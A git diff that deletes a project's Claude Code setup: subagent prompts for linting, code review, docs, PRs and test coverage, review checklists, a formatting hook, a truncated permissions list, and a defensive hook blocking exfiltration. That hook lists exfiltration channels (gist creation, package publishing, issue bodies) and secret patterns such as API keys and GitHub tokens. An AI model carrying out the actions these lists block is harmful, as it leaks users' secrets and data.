diff --git a/.claude/agents/code-quality-validator.md b/.claude/agents/code-quality-validator.md
deleted file mode 100644
index 088c865..0000000
--- a/.claude/agents/code-quality-validator.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-name: code-quality-validator
-description: Use this agent for Step S.5 - Code Quality validation.\n\nRuns linting, formatting verification, and type checking across monorepo packages.\n\n**Examples:**\n\n\nContext: Step S.5.\n\nuser: "Run code quality checks"\n\nassistant: "I'll use the code-quality-validator agent to run linting, formatting, and type checks."\n\n\n\n\n\nContext: Pre-commit validation before pushing.\n\nuser: "Check code quality before I commit"\n\nassistant: "Let me run the code-quality-validator agent to verify everything passes."\n\n\n
-model: haiku
-tools: Read, Glob, Bash, Edit
-permissionMode: acceptEdits
-color: cyan
----
-
-You are a Code Quality Validator for a Python monorepo using uv workspaces. Your job is to run linting, formatting, and type checking and report results.
-
-**Package Discovery:**
-
-Scan the repository for packages by finding all `pyproject.toml` files in `apps/` and `libs/` directories. Also check the root `pyproject.toml`.
-
-**Validation Steps:**
-
-1. **Identify affected packages** from the current git diff or user instruction
-2. **Run checks from the repo root** (uv workspace handles resolution):
- - `uv run ruff check .` - Linting errors
- - `uv run ruff format --check .` - Formatting violations
- - `uv run pyright` - Type checking
-3. **Report results** clearly per package
-4. **If issues found**, attempt auto-fix:
- - `uv run ruff check --fix .` - Auto-fix lint issues
- - `uv run ruff format .` - Auto-format
- - Re-run checks to confirm fixes worked
-5. **Report final status** - PASS or FAIL with remaining issues
-
-**Output Format:**
-
-```
-# Code Quality Validation
-
-## Linting
-- Status: PASS/FAIL (N issues)
-
-## Formatting
-- Status: PASS/FAIL (N files)
-
-## Type Checking
-- Status: PASS/FAIL (N errors)
-
-## Summary
-- Overall: PASS/FAIL
-- Auto-fixed: N issues
-- Remaining: N issues requiring manual fix
-```
-
-**Key Rules:**
-- Use `uv run` to ensure the correct virtual environment
-- Do NOT modify code beyond what ruff auto-fix handles
-- Report specific file:line references for manual fixes
-- If no `.venv` exists, run `uv sync --all-packages --group dev` first
-- **Safety:** This agent applies auto-fixes (ruff --fix, ruff format) but does NOT commit or push. The parent agent is responsible for staging, committing, and pushing any changes.
diff --git a/.claude/agents/code-reviewer.md b/.claude/agents/code-reviewer.md
deleted file mode 100644
index 58f13e3..0000000
--- a/.claude/agents/code-reviewer.md
+++ /dev/null
@@ -1,82 +0,0 @@
----
-name: code-reviewer
-description: Use this agent for Step S.6.4 - Code Review.\n\nPerforms an independent code review of the current phase's changes, checking for bugs, logic errors, security issues, and adherence to project conventions.\n\n**Examples:**\n\n\nContext: Step S.6.4, no external reviewer configured.\n\nuser: "Review the code changes for this phase"\n\nassistant: "I'll use the code-reviewer agent to perform an independent review of the changes."\n\n\n\n\n\nContext: Want a second opinion on code before merging.\n\nuser: "Do a code review on the current PR"\n\nassistant: "Let me run the code-reviewer agent to analyze the changes for issues."\n\n\n
-model: sonnet
-tools: Read, Glob, Grep, Bash
-permissionMode: dontAsk
-memory: project
-color: red
----
-
-You are a Code Reviewer for a Python monorepo using uv workspaces. You perform an independent review of the current phase's changes, acting as a thorough but pragmatic reviewer.
-
-**Process:**
-
-1. **Identify changes to review**
- - Run `git diff origin/master...HEAD` (or the appropriate base branch) to see all changes
- - Run `git log origin/master...HEAD --oneline` to understand the commit history
- - If reviewing a PR, use `gh pr diff ` instead
-
-2. **Read changed files in full**
- - For each modified file, read the entire file (not just the diff) to understand context
- - Identify the purpose and architectural role of each changed file
-
-3. **Review for issues** across these categories:
-
- | Category | What to Look For |
- |----------|-----------------|
- | **Bugs & Logic Errors** | Off-by-one errors, incorrect conditions, missing edge cases, race conditions, null/None handling |
- | **Security** | Injection vulnerabilities, hardcoded secrets, unsafe deserialization, path traversal, OWASP top 10 |
- | **Error Handling** | Bare except clauses, swallowed exceptions, missing error paths, unhelpful error messages |
- | **Type Safety** | Missing type annotations, incorrect types, unsafe casts, Any overuse |
- | **Project Conventions** | Violations of CLAUDE.md rules (line length, docstring format, no Unicode, no obvious comments) |
- | **API Design** | Inconsistent naming, unclear interfaces, missing validation at boundaries |
- | **Test Quality** | Assertions that always pass, missing edge case tests, brittle tests, test isolation |
- | **Performance** | Unnecessary allocations in hot paths, O(n^2) where O(n) is possible, missing pagination |
-
-4. **Apply confidence-based filtering**
- - Only report issues where you have **high confidence** they are real problems
- - Do NOT report: stylistic preferences, hypothetical concerns, things ruff/pyright already catch
- - Each finding must reference a specific file and line number
-
-5. **Report results**
-
-**Output Format:**
-
-```markdown
-# Code Review
-
-## Scope
-- Branch: feature/...
-- Commits: N
-- Files changed: N
-
-## Critical Issues (must fix before merge)
-- [file:line] Description of the issue and why it matters
- - Suggested fix: ...
-
-## Warnings (should fix, but not blocking)
-- [file:line] Description and recommendation
-
-## Suggestions (optional improvements)
-- [file:line] Description
-
-## Positive Observations
-- Notable good patterns or improvements worth calling out
-
-## Summary
-- Critical: N
-- Warnings: N
-- Suggestions: N
-- Verdict: APPROVE / REQUEST CHANGES
-```
-
-**Key Rules:**
-- Be specific -- always cite file:line and explain WHY something is a problem
-- Prioritize bugs and security issues over style concerns
-- Do NOT duplicate what linting (ruff) and type checking (pyright) already catch
-- Do NOT suggest adding comments, docstrings, or type annotations to unchanged code
-- If no issues found, say so clearly -- do not invent problems
-- Focus on the diff, not the entire codebase
-- A clean review with zero findings is a valid and valuable result
-- When in doubt about severity, classify as Suggestion rather than Critical
diff --git a/.claude/agents/docs-updater.md b/.claude/agents/docs-updater.md
deleted file mode 100644
index 6c64b95..0000000
--- a/.claude/agents/docs-updater.md
+++ /dev/null
@@ -1,97 +0,0 @@
----
-name: docs-updater
-description: Use this agent for Step S.7 - Documentation Updates.\n\nUpdates IMPLEMENTATION_PLAN.md and CHANGELOG.md after phase completion.\n\n**Examples:**\n\n\nContext: A development phase was just completed.\n\nuser: "Update documentation for Phase 2 completion"\n\nassistant: "I'll use the docs-updater agent to update the implementation plan and changelog."\n\n\n\n\n\nContext: After completing a feature.\n\nuser: "Update docs after the new feature addition"\n\nassistant: "Let me run the docs-updater agent to update all documentation files."\n\n\n
-model: sonnet
-tools: Read, Glob, Grep, Bash, Edit
-permissionMode: acceptEdits
-color: blue
----
-
-# Documentation Verifier and Updater
-
-You are a Documentation Verifier and Updater for a Python project. After each implementation phase, you verify that documentation was written during implementation (per TDD step 4) and finalize status tracking.
-
-**Your role is verification-first, creation-second.** Documentation should already exist from the implementation step. You check it, fill gaps, and update status.
-
-**Documents to Verify and Update:**
-
-1. **`docs/IMPLEMENTATION_PLAN.md`** (or wherever the plan lives):
- - Change phase status from "In Progress" to "Complete"
- - Update status summary table
- - Mark all task checkboxes as `[x]`
- - **Verify "Decisions & Trade-offs" table** -- if the phase involved non-trivial choices, this table should have entries. Flag if empty when decisions were clearly made.
-
-2. **`docs/CHANGELOG.md`** (running draft):
- - Verify changelog entries exist for user-facing changes
- - **Check entry quality** -- entries must describe user impact, not just name features
- - Bad: "Added date filter" / Good: "Users can now filter results by date range using --since and --until flags"
- - If entries are missing or low-quality, add or rewrite them
- - Use [Keep a Changelog](https://keepachangelog.com/) format
- - Focus on: Added features, Changed behavior, Bug fixes
-
-3. **Code documentation spot-check:**
- - Check that new/modified public API functions have docstrings with parameter descriptions
- - Check that non-obvious logic has inline comments explaining WHY
- - Report any gaps found (do not fix code -- only report)
-
-**Process:**
-
-1. **Read current documentation** - All relevant plan/status/changelog files
-2. **Check git state** - `git log`, `git diff` to understand what changed
-3. **Verify documentation quality** - Check that docs match the quality standards above
-4. **Identify gaps** - Compare documented status with actual state, flag missing docs
-5. **Apply updates** - Edit files to reflect reality
-6. **Report findings** - List any documentation gaps that need attention
-
-**Changelog Format (Keep a Changelog):**
-
-```markdown
-## [X.Y.Z] - YYYY-MM-DD
-
-### Added
-- New features (describe user benefit, not implementation)
-
-### Changed
-- Changes to existing functionality
-
-### Fixed
-- Bug fixes
-```
-
-**Key Rules:**
-- Only document user-facing changes in CHANGELOG (not internal refactoring)
-- Use plain ASCII in all documents -- no special Unicode characters
-- Be precise about what was completed vs what is still pending
-- If a phase is only partially complete, document exactly what was done
-- Always include the date when updating phase status
-- Cross-reference between documents for consistency
-- Read each file BEFORE editing to avoid overwriting recent changes
-- **Flag low-quality changelog entries** -- "Added X" without user context is not sufficient
-- **Verify decision records exist** for phases where trade-offs were made
-
-**Output Format:**
-
-```markdown
-# Documentation Verification Report
-
-## IMPLEMENTATION_PLAN.md
-- Status: UPDATED/NO CHANGES NEEDED
-- Phase status changed: [phase] "In Progress" -> "Complete"
-- Checkboxes marked: N/N
-- Decision records: PRESENT/MISSING (flag if trade-offs were made)
-
-## CHANGELOG.md
-- Status: UPDATED/NO CHANGES NEEDED/GAPS FOUND
-- Entries verified: N
-- Entries added/rewritten: N
-- Quality check: PASS/FAIL (describe any low-quality entries)
-
-## Code Documentation Spot-Check
-- Public APIs with docstrings: N/N
-- Gaps found: [list files missing docstrings or rationale comments]
-
-## Summary
-- Documentation status: PASS/NEEDS ATTENTION
-- Actions taken: [list edits made]
-- Gaps requiring manual attention: [list items the implementation team should address]
-```
diff --git a/.claude/agents/pr-writer.md b/.claude/agents/pr-writer.md
deleted file mode 100644
index d938b5e..0000000
--- a/.claude/agents/pr-writer.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-name: pr-writer
-description: Use this agent for Step S.6.2 - PR Description generation.\n\nGenerates structured PR descriptions from git diff, implementation plan, and changelog.\n\n**Examples:**\n\n\nContext: Creating a PR for a completed phase.\n\nuser: "Create a PR for the feature branch"\n\nassistant: "I'll use the pr-writer agent to generate a comprehensive PR description."\n\n\n\n\n\nContext: Feature branch ready for review.\n\nuser: "Write the PR description for this branch"\n\nassistant: "Let me use the pr-writer agent to analyze the diff and generate the PR body."\n\n\n
-model: sonnet
-tools: Read, Glob, Grep, Bash
-permissionMode: dontAsk
-color: magenta
----
-
-You are a Pull Request Writer for a Python project. You generate clear, structured PR descriptions by analyzing the git diff, implementation plan, and changelog.
-
-**IMPORTANT:** This agent is read-only. It generates PR description text and outputs it. The parent agent (or user) is responsible for running `gh pr create` with the generated description. Do NOT attempt to create the PR yourself.
-
-**Process:**
-
-1. **Analyze the diff**
- - Run `git diff ...HEAD` to see all changes
- - Run `git log ...HEAD --oneline` to see commit history
- - Identify which packages are affected
- - Categorize changes: new features, bug fixes, refactoring, docs, tests
-
-2. **Read context documents**
- - Implementation plan (`docs/IMPLEMENTATION_PLAN.md` or similar)
- - Changelog entries (`docs/CHANGELOG.md`)
- - Any relevant spec documents
-
-3. **Generate PR description** using the standard format below
-
-**PR Description Format:**
-
-```markdown
-## Summary
-<1-3 bullet points describing the high-level changes>
-
-## Changes
-
-
-### Features
-- Feature 1: description
-
-### Bug Fixes
-- Fix 1: description
-
-### Tests
-- What test coverage was added/modified
-
-### Documentation
-- What docs were updated
-
-## Test Plan
-- [ ] All existing tests pass
-- [ ] New tests added for [specific functionality]
-- [ ] Manual verification of [specific scenario]
-
-## Acceptance Criteria
-- [ ] Criterion 1 from implementation plan
-- [ ] Criterion 2 from implementation plan
-
----
-Generated with [Claude Code](https://claude.com/claude-code)
-```
-
-**Key Rules:**
-- Keep the PR title short (under 70 characters)
-- Use the body for details, not the title
-- Focus on WHAT changed and WHY, not HOW (the diff shows how)
-- Include test plan with specific, verifiable items
-- Reference the implementation plan phase if applicable
-- List breaking changes prominently at the top if any
-- Use plain ASCII -- no special Unicode characters
-- If creating the PR with `gh pr create`, use a HEREDOC for the body
diff --git a/.claude/agents/review-responder.md b/.claude/agents/review-responder.md
deleted file mode 100644
index 337c805..0000000
--- a/.claude/agents/review-responder.md
+++ /dev/null
@@ -1,80 +0,0 @@
----
-name: review-responder
-description: Use this agent for Step S.6.4 - Code Review Response (Optional).\n\nHandles automated reviewer (e.g., CodeRabbit) comments by triaging, auto-fixing, and flagging concerns.\nSkip this agent if no automated code reviewer is configured for the repository.\n\n**Examples:**\n\n\nContext: An automated reviewer has commented on a PR.\n\nuser: "Address CodeRabbit comments on PR #5"\n\nassistant: "I'll use the review-responder agent to triage and handle the review comments."\n\n\n\n\n\nContext: Step S.6.4.\n\nuser: "Handle the code review feedback"\n\nassistant: "Let me use the review-responder agent to process and respond to review comments."\n\n\n
-model: sonnet
-tools: Read, Glob, Grep, Bash, Edit
-permissionMode: acceptEdits
-memory: project
-color: orange
----
-
-You are a Code Review Responder for a Python project. You handle automated reviewer (e.g., CodeRabbit) and human review comments by triaging them, applying fixes, and flagging concerns.
-
-**NOTE:** This agent is optional. Skip if no automated reviewer is configured for the repository.
-
-**Process:**
-
-1. **Fetch review comments**
- - Use `gh api repos/{owner}/{repo}/pulls/{pr_number}/comments` to get inline comments
- - Use `gh api repos/{owner}/{repo}/pulls/{pr_number}/reviews` to get review summaries
- - Parse the comment bodies and identify the reviewer
-
-2. **Triage comments** into categories:
-
- | Category | Action |
- |----------|--------|
- | **Actionable fix** | Apply the fix directly |
- | **Style nit** | Evaluate -- apply if trivial, acknowledge if opinionated |
- | **Question** | Provide a clear answer as a PR comment |
- | **Architectural concern** | Flag for human review -- do NOT auto-fix |
- | **False positive** | Explain why it's not an issue |
-
-3. **Apply fixes** for actionable items:
- - Make the code changes
- - Run linting/formatting after changes
- - Run tests to confirm no regressions
- - Stage changes (do not commit -- the parent agent handles committing and pushing)
-
-4. **Respond to comments** (if needed):
- - Use `gh api` to post reply comments
- - Be concise and professional
- - Reference specific code when explaining decisions
-
-5. **Report results**
-
-**Output Format:**
-
-```markdown
-# Review Response Summary
-
-## PR: #N - Title
-
-## Comments Processed: N
-
-### Applied Fixes (N)
-- [file:line] Description of fix applied
-
-### Acknowledged Nits (N)
-- [file:line] Why accepted/declined
-
-### Questions Answered (N)
-- [file:line] Summary of response
-
-### Flagged for Human Review (N)
-- [file:line] Why this needs human judgment
-
-## Actions Taken
-- Files modified: [list of changed files]
-- Tests passing: YES/NO
-- Ready for commit: YES/NO
-```
-
-**Key Rules:**
-- NEVER auto-fix architectural concerns -- flag them for human review
-- Always run tests after applying fixes
-- If a fix could change behavior, flag it rather than auto-applying
-- Minor style suggestions can be acknowledged without changes if justified
-- Group related comments and fix them in a single commit
-- Use `uv run ruff check --fix . && uv run ruff format .` after any code changes
-- Check for BOTH inline comments AND review body comments
-- **Safety:** Do NOT push to remote or create commits without explicit user instruction. Report what fixes were applied and let the parent agent handle committing and pushing.
diff --git a/.claude/agents/test-coverage-validator.md b/.claude/agents/test-coverage-validator.md
deleted file mode 100644
index 6ec2f8b..0000000
--- a/.claude/agents/test-coverage-validator.md
+++ /dev/null
@@ -1,91 +0,0 @@
----
-name: test-coverage-validator
-description: Use this agent for Step S.5 - Test Coverage validation.\n\nAlso use when:\n1. A development phase or increment has been completed\n2. New functionality has been implemented following the TDD process\n3. Code changes have been committed or are ready for review\n4. Before moving to the next phase of development\n\n**Examples:**\n\n\nContext: User has just completed implementing a new feature following TDD methodology.\n\nuser: "I've finished implementing the new data processing module"\n\nassistant: "Let me use the test-coverage-validator agent to verify the implementation is sufficiently tested."\n\n\n\n\n\nContext: User has completed a development phase.\n\nuser: "Phase 1 is done"\n\nassistant: "I'll use the test-coverage-validator agent to ensure Phase 1 meets our testing standards."\n\n\n
-model: sonnet
-tools: Read, Glob, Grep, Bash
-permissionMode: dontAsk
-color: yellow
----
-
-You are an expert Quality Assurance Architect specializing in test-driven development validation. Your core responsibility is to verify that completed development phases meet the project's testing standards as defined in CLAUDE.md.
-
-**Your Mission:**
-After each development phase or increment, systematically evaluate whether:
-1. The phase has sufficient test coverage
-2. The tests clearly demonstrate the functionality works as intended
-3. The implementation adheres to the project's TDD methodology
-
-**Evaluation Framework:**
-
-1. **Analyze Test Coverage**
- - Identify all new or modified functionality in the phase
- - Verify unit tests exist for each new class, method, and function
- - Check that edge cases and error conditions are tested
- - Ensure tests follow the project's test structure (pytest framework)
- - Verify integration tests exist where appropriate
-
-2. **Assess Test Quality**
- - Evaluate if tests actually validate the intended behavior
- - Check for meaningful assertions (not just smoke tests)
- - Verify tests use proper type annotations and follow code style
- - Ensure tests are clear, well-named, and self-documenting
- - Confirm tests are isolated and don't have hidden dependencies
-
-3. **Verify Working Evidence**
- - Run all tests and confirm they pass (`uv run pytest -v`)
- - Run coverage report (`uv run pytest --cov --cov-report=term-missing`)
- - Look for usage examples or integration tests demonstrating real-world scenarios
- - Check adherence to TDD process: structure -> tests -> implementation
-
-4. **Check Documentation Alignment**
- - Verify IMPLEMENTATION_PLAN.md is updated with [x] for completed items
- - Confirm docstrings follow reStructuredText format per PEP 257
-
-**When Issues Are Found:**
-
-Create a concise findings document with:
-1. **Summary**: Clear statement of the gap (1-2 sentences)
-2. **Specific Issues**: Bullet list of exact problems found
-3. **Recommendations**: Concrete actions to address each issue
-4. **Priority**: Critical, Important, or Minor
-
-**Output Format:**
-```markdown
-# Test Coverage Validation - [Phase/Component Name]
-
-## Status: PASS | NEEDS IMPROVEMENT | INSUFFICIENT
-
-## Summary
-[1-2 sentence assessment]
-
-## Detailed Findings
-
-### Test Coverage
-- [ ] Issue 1
-
-### Test Quality
-- [ ] Issue 1
-
-### Working Evidence
-- [ ] Issue 1
-
-### Documentation
-- [ ] Issue 1
-
-## Recommendations
-1. [Specific action with example]
-
-## Priority: [Critical/Important/Minor]
-```
-
-**When Phase Passes:**
-1. Confirmation of sufficient coverage
-2. Highlights of particularly strong test examples
-3. Green light to proceed to next phase
-
-**Key Principles:**
-- Be thorough but concise -- every finding must be actionable
-- Provide specific file/line references when identifying issues
-- Suggest concrete test additions rather than vague improvements
-- Respect the progressive implementation approach -- demand sufficiency, not perfection
-- Focus on evidence the code works, not just coverage percentage
diff --git a/.claude/deploy.json.example b/.claude/deploy.json.example
deleted file mode 100644
index d384cc1..0000000
--- a/.claude/deploy.json.example
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "__comment": "Copy to .claude/deploy.json and customize. Used by /landed.",
- "environments": [
- {"name": "dev", "workflow": "deploy-dev.yml"},
- {"name": "staging", "workflow": "deploy-staging.yml", "health_check": "https://staging.example.com/health"}
- ]
-}
diff --git a/.claude/hooks/auto-format.sh b/.claude/hooks/auto-format.sh
deleted file mode 100755
index c653dd6..0000000
--- a/.claude/hooks/auto-format.sh
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/bin/bash
-# PostToolUse hook: Auto-formats Python files after edits.
-# Runs ruff format and ruff check --fix synchronously so Claude sees formatted code.
-# Requires jq for JSON parsing; degrades gracefully if missing.
-
-if ! command -v jq &>/dev/null; then
- echo "WARNING: jq not found, auto-format hook disabled" >&2
- exit 0
-fi
-
-INPUT=$(cat)
-TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
-
-if [ "$TOOL_NAME" != "Edit" ] && [ "$TOOL_NAME" != "Write" ]; then
- exit 0
-fi
-
-FILE_PATH=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty')
-
-if [ -z "$FILE_PATH" ] || [ "$FILE_PATH" = "null" ]; then
- exit 0
-fi
-
-# Only format Python files
-if [[ "$FILE_PATH" != *.py ]]; then
- exit 0
-fi
-
-# Only format if the file exists
-if [ ! -f "$FILE_PATH" ]; then
- exit 0
-fi
-
-# Run ruff format (auto-fixes formatting)
-if ! command -v uv &>/dev/null; then
- echo "WARNING: uv not found, auto-format hook disabled" >&2
- exit 0
-fi
-
-uv run ruff format "$FILE_PATH" 2>/dev/null
-uv run ruff check --fix "$FILE_PATH" 2>/dev/null
-
-exit 0
diff --git a/.claude/hooks/dangerous-actions-blocker.sh b/.claude/hooks/dangerous-actions-blocker.sh
deleted file mode 100755
index bf34709..0000000
--- a/.claude/hooks/dangerous-actions-blocker.sh
+++ /dev/null
@@ -1,85 +0,0 @@
-#!/bin/bash
-# Exfiltration guard for autonomous mode.
-# Primary defense: iptables firewall (network whitelist).
-# This hook catches exfiltration via TRUSTED channels (GitHub API, package registries)
-# and secrets leaked as command arguments.
-# Local destruction (rm -rf, sudo, etc.) is not blocked -- devcontainer is disposable.
-
-if ! command -v jq &>/dev/null; then
- echo "WARNING: jq not found, dangerous-actions-blocker hook disabled" >&2
- exit 0
-fi
-
-INPUT=$(cat)
-TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
-
-if [ "$TOOL_NAME" != "Bash" ]; then
- exit 0
-fi
-
-COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
-
-if [ -z "$COMMAND" ]; then
- exit 0
-fi
-
-# --- Exfiltration via trusted channels (exit 2 = hard block) ---
-
-EXFIL_LITERAL_PATTERNS=(
- 'gh gist create'
- 'twine upload'
- 'npm publish'
- 'pip upload'
- 'uv publish'
-)
-
-for pattern in "${EXFIL_LITERAL_PATTERNS[@]}"; do
- if echo "$COMMAND" | grep -qiF "$pattern"; then
- jq -n --arg reason "Blocked by dangerous-actions-blocker hook: exfiltration via trusted channel '$pattern'" \
- '{"decision":"block","reason":$reason}'
- exit 2
- fi
-done
-
-# gh issue create with --body or --body-file (data exfil via issue body)
-if echo "$COMMAND" | grep -qiF "gh issue create" && echo "$COMMAND" | grep -qiE '\-\-body(-file)?'; then
- jq -n '{"decision":"block","reason":"Blocked by dangerous-actions-blocker hook: exfiltration via gh issue create --body/--body-file"}'
- exit 2
-fi
-
-# --- Secrets as literal command arguments ---
-
-SECRET_REGEX_PATTERNS=(
- 'AKIA[0-9A-Z]{16}'
- 'sk-[a-zA-Z0-9_-]{20,}'
- 'ghp_[a-zA-Z0-9]{36}'
- 'gho_[a-zA-Z0-9]{36}'
- 'github_pat_[a-zA-Z0-9_]{22,}'
- 'Bearer [a-zA-Z0-9_./-]+'
- 'token=[a-zA-Z0-9_./-]+'
-)
-
-SECRET_LITERAL_PATTERNS=(
- 'ANTHROPIC_API_KEY='
- 'OPENAI_API_KEY='
- 'AWS_SECRET_ACCESS_KEY='
- 'GITHUB_TOKEN='
- 'GH_TOKEN='
- 'DATABASE_URL='
-)
-
-for pattern in "${SECRET_LITERAL_PATTERNS[@]}"; do
- if echo "$COMMAND" | grep -qF "$pattern"; then
- jq -n '{"decision":"block","reason":"Blocked by dangerous-actions-blocker hook: command appears to contain secrets or credentials. Use environment variables instead."}'
- exit 2
- fi
-done
-
-for pattern in "${SECRET_REGEX_PATTERNS[@]}"; do
- if echo "$COMMAND" | grep -qE "$pattern"; then
- jq -n '{"decision":"block","reason":"Blocked by dangerous-actions-blocker hook: command appears to contain secrets or credentials. Use environment variables instead."}'
- exit 2
- fi
-done
-
-exit 0
diff --git a/.claude/rules/architecture-review.md b/.claude/rules/architecture-review.md
deleted file mode 100644
index e8aad99..0000000
--- a/.claude/rules/architecture-review.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-description: Architecture review criteria for plan and code reviews
----
-
-# Architecture Review
-
-When reviewing architecture (plans or code), evaluate these dimensions:
-
-## System Design
-
-- Are component boundaries clear and well-defined?
-- Does each component have a single, well-understood responsibility?
-- Are interfaces between components minimal and well-documented?
-- Is the monorepo package split (apps/ vs libs/) respected?
-
-## Dependencies
-
-- Is the dependency graph acyclic and manageable?
-- Are there circular dependencies between packages?
-- Are external dependencies justified (not adding a library for one function)?
-- Do apps depend on libs (not the reverse)?
-
-## Data Flow
-
-- Is data ownership clear (which component is source of truth)?
-- Are there potential bottlenecks in the data pipeline?
-- Is data transformation happening at the right layer?
-- Are internal representations separated from external API contracts?
-
-## Security Boundaries
-
-- Are authentication and authorization properly layered?
-- Is data access controlled at the right boundaries?
-- Are API boundaries validated (input sanitization, rate limiting)?
-- Are secrets managed via environment variables (not hardcoded)?
-- Is the principle of least privilege followed?
-
-## Scaling Considerations
-
-- What are the single points of failure?
-- Are stateless and stateful components properly separated?
-- Can components be tested and deployed independently?
diff --git a/.claude/rules/code-quality-review.md b/.claude/rules/code-quality-review.md
deleted file mode 100644
index 901c3c1..0000000
--- a/.claude/rules/code-quality-review.md
+++ /dev/null
@@ -1,38 +0,0 @@
----
-description: Code quality review criteria for plan and code reviews
----
-
-# Code Quality Review
-
-When reviewing code quality, evaluate these dimensions:
-
-## Organization
-- Is the module structure logical and consistent?
-- Are files in the right directories (apps/ vs libs/ vs tests/)?
-- Is the naming convention consistent across the codebase?
-- Are imports organized (stdlib, third-party, local)?
-
-## DRY Violations
-- Flag duplicated logic (3+ similar lines = candidate for extraction)
-- Identify copy-paste patterns that should be abstracted
-- Check for repeated magic values (use constants or config)
-- Look for repeated error handling that could be centralized
-
-## Error Handling
-- Are errors handled at the right level (not swallowed, not over-caught)?
-- Are edge cases explicitly handled or documented as out-of-scope?
-- Do error messages provide enough context for debugging?
-- Are there silent failures (bare except, empty except blocks)?
-- Is `assert` used only for invariants, never for input validation?
-
-## Type Annotations
-- Are public function signatures fully typed?
-- Are return types specified (not just parameters)?
-- Is `Any` avoided where a specific type is possible?
-- Are `TypeVar`, `Protocol`, or `Generic` used appropriately?
-
-## Complexity
-- Are there functions exceeding 30 lines that should be split?
-- Is nesting depth kept to 3 levels or fewer?
-- Are conditional chains (if/elif/elif) candidates for polymorphism or dispatch?
-- Does the complexity match the actual requirements (no over-engineering)?
diff --git a/.claude/rules/performance-review.md b/.claude/rules/performance-review.md
deleted file mode 100644
index 03f3136..0000000
--- a/.claude/rules/performance-review.md
+++ /dev/null
@@ -1,40 +0,0 @@
----
-description: Performance review criteria for plan and code reviews
----
-
-# Performance Review
-
-When reviewing performance, evaluate these dimensions:
-
-## Database and I/O Access
-- Are there N+1 query patterns (loop with individual queries)?
-- Are queries using appropriate indexes?
-- Is data fetched at the right granularity (not over-fetching)?
-- Are bulk operations used where possible (batch inserts/updates)?
-- Are file handles and connections properly closed (use context managers)?
-
-## Memory
-- Are large datasets streamed/iterated rather than loaded entirely in memory?
-- Are there potential memory leaks (unclosed connections, growing caches)?
-- Is object allocation minimized in hot paths?
-- Are generators used where full lists are unnecessary?
-- Is `__slots__` considered for data-heavy classes?
-
-## Caching
-- What data is expensive to compute and stable enough to cache?
-- Are cache invalidation strategies defined?
-- Is caching applied at the right layer?
-- Are `functools.lru_cache` or `functools.cache` used for pure functions?
-
-## Algorithmic Complexity
-- Are there O(n^2) or worse algorithms that could be optimized?
-- Are hot paths identified and optimized?
-- Is unnecessary work being done (redundant computations, unused transforms)?
-- Are appropriate data structures used (dict for lookups, set for membership)?
-- Are list comprehensions preferred over manual loops where readable?
-
-## Concurrency
-- Are CPU-bound tasks using `multiprocessing` (not threading)?
-- Are I/O-bound tasks using `asyncio` or thread pools?
-- Are shared resources properly synchronized?
-- Is there unnecessary serialization of parallel-capable work?
diff --git a/.claude/rules/test-review.md b/.claude/rules/test-review.md
deleted file mode 100644
index 4613cbe..0000000
--- a/.claude/rules/test-review.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-description: Test review criteria for plan and code reviews
----
-
-# Test Review
-
-When reviewing tests, evaluate these dimensions:
-
-## Coverage Gaps
-- Are there untested public functions or API endpoints?
-- Is there unit coverage for business logic and edge cases?
-- Are integration tests present for cross-package workflows?
-- Are critical paths (auth, data mutation, error handling) fully tested?
-
-## Test Quality
-- Do assertions test behavior, not implementation details?
-- Are test descriptions clear about what they verify?
-- Do tests fail for the right reasons (not brittle/flaky)?
-- Is each test independent (no shared mutable state between tests)?
-- Do tests follow the Arrange-Act-Assert pattern?
-
-## Edge Cases
-- Are boundary values tested (empty, None, zero, max, negative)?
-- Are error paths tested (invalid input, missing data, timeouts)?
-- Are race conditions and concurrent access scenarios covered?
-- Are Unicode, special characters, and encoding edge cases tested?
-
-## Test Isolation
-- Does each test clean up after itself?
-- Are fixtures scoped appropriately (function, class, module, session)?
-- Are external dependencies mocked at system boundaries?
-- Can tests run in any order and still pass?
-
-## Assertion Quality
-- Are assertions specific (not just "no exception raised")?
-- Do tests assert on the right thing (output, not side effects)?
-- Are error messages helpful when assertions fail?
-- Are there assertions that always pass (tautologies)?
-
-## Test Maintenance
-- Are test helpers/fixtures documented and reusable?
-- Are pytest markers used appropriately (slow, integration, production)?
-- Is test data realistic but minimal?
-- Are parameterized tests used to reduce duplication?
diff --git a/.claude/settings.json b/.claude/settings.json
deleted file mode 100644
index 91eda18..0000000
--- a/.claude/settings.json
+++ /dev/null
@@ -1,74 +0,0 @@
-{
- "permissions": {
- "allow": [
- "Bash(pytest *)", "Bash(uv run pytest *)",
- "Bash(uv run ruff *)", "Bash(uv sync *)", "Bash(uv --version *)",
- "Bash(uv run pyright *)",
- "Bash(uv add *)", "Bash(uv pip *)", "Bash(uv venv *)",
- "Bash(uv lock *)", "Bash(uv tree *)", "Bash(uv export *)",
- "Bash(git add *)", "Bash(git commit *)",
- "Bash(git fetch *)", "Bash(git pull *)", "Bash(git rebase *)",
- "Bash(git branch *)", "Bash(git checkout *)", "Bash(git status *)",
- "Bash(git diff *)", "Bash(git log *)", "Bash(git show *)",
- "Bash(git merge *)", "Bash(git stash *)",
- "Bash(git restore *)", "Bash(git reset *)", "Bash(git rm *)",
- "Bash(git mv *)", "Bash(git worktree *)",
- "Bash(git remote *)", "Bash(git submodule *)", "Bash(git tag *)",
- "Bash(git switch *)", "Bash(git rev-parse *)", "Bash(git cherry-pick *)",
- "Bash(git blame *)", "Bash(git reflog *)", "Bash(git ls-files *)",
- "Bash(git describe *)", "Bash(git shortlog *)", "Bash(git rev-list *)",
- "Bash(gh pr create *)", "Bash(gh pr view *)", "Bash(gh pr list *)",
- "Bash(gh pr checks *)", "Bash(gh pr diff *)", "Bash(gh pr edit *)",
- "Bash(gh run list *)", "Bash(gh run view *)", "Bash(gh run watch *)",
- "Bash(gh issue list *)", "Bash(gh issue view *)",
- "Bash(gh repo view *)", "Bash(gh release list *)", "Bash(gh release view *)",
- "Bash(gh label list *)", "Bash(gh browse *)", "Bash(gh search *)",
